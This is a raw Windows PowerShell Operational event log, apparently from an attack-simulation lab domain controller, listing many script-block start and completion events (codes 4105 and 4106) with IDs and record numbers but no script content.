Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477712
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477711
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477710
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477709
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477708
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477706
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477705
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477704
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477703
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477702
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477700
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477699
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477698
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477697
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477696
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477694
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477693
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477692
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477691
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477690
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477689
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477688
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477686
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477684
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477682
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477680
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477678
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477676
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477674
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477672
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477671
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477670
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477668
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477666
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477664
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477662
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477660
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477659
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
